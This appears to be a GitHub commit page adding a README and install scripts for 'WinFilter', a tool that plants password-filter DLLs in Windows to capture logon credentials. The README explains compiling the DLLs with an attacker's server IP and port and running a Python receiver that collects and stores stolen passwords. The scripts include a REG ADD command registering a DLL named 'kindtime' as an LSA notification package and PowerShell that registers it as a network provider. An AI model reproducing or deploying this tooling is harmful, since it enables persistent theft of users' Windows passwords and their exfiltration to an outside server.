-
Notifications
You must be signed in to change notification settings - Fork 5
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
7 changed files
with
67 additions
and
5 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,33 @@ | ||
# WinFilter | ||
Winlogon and LSA Notification Password Filters | ||
|
||
## Reference | ||
The primary code for each of the filters were pulled from: | ||
- https://github.com/gtworek/PSBits/tree/master/PasswordStealing | ||
- https://github.com/3gstudent/PasswordFilter | ||
|
||
## Usage | ||
### Filters | ||
For each of the DLLs, they must be compiled with the desired IP address and port at the top of the file using Visual Studio. | ||
|
||
`#define SERVER_IP` | ||
|
||
`#define PORT` | ||
|
||
Modify and utilize each of the install scripts in order to set up the filters. | ||
|
||
`sed -i 's/kindtime/your_name/g' install_script` | ||
|
||
### Credentials Receiver | ||
To receive creds and set up the server, run: | ||
|
||
`python3 winfilter.py` | ||
|
||
By default, the IP will be '0.0.0.0' and the port will be '80'. You can give a specific ip or port using `--ip <ip_addr>` or `--port <port_num>`. | ||
|
||
Screenshot Example: | ||
```python3 winfilter.py --port 6006``` | ||
|
||
 | ||
|
||
Credentials will also be written to a file in the `creds` directory. Use the `--clean` option to clear out the directory. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Notification Packages" /t REG_MULTI_SZ /d "rassfm\0scecli\0kindtime" /f |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
$path = Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\NetworkProvider\Order" -Name PROVIDERORDER | ||
$UpdatedValue = $Path.PROVIDERORDER + ",kindtime" | ||
Set-ItemProperty -Path $Path.PSPath -Name "PROVIDERORDER" -Value $UpdatedValue | ||
|
||
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\kindtime | ||
New-Item -Path HKLM:\SYSTEM\CurrentControlSet\Services\kindtime\NetworkProvider | ||
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\kindtime\NetworkProvider -Name "Class" -Value 2 | ||
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\kindtime\NetworkProvider -Name "Name" -Value kindtime | ||
New-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\kindtime\NetworkProvider -Name "ProviderPath" -PropertyType ExpandString -Value "%SystemRoot%\System32\kindtime.dll" |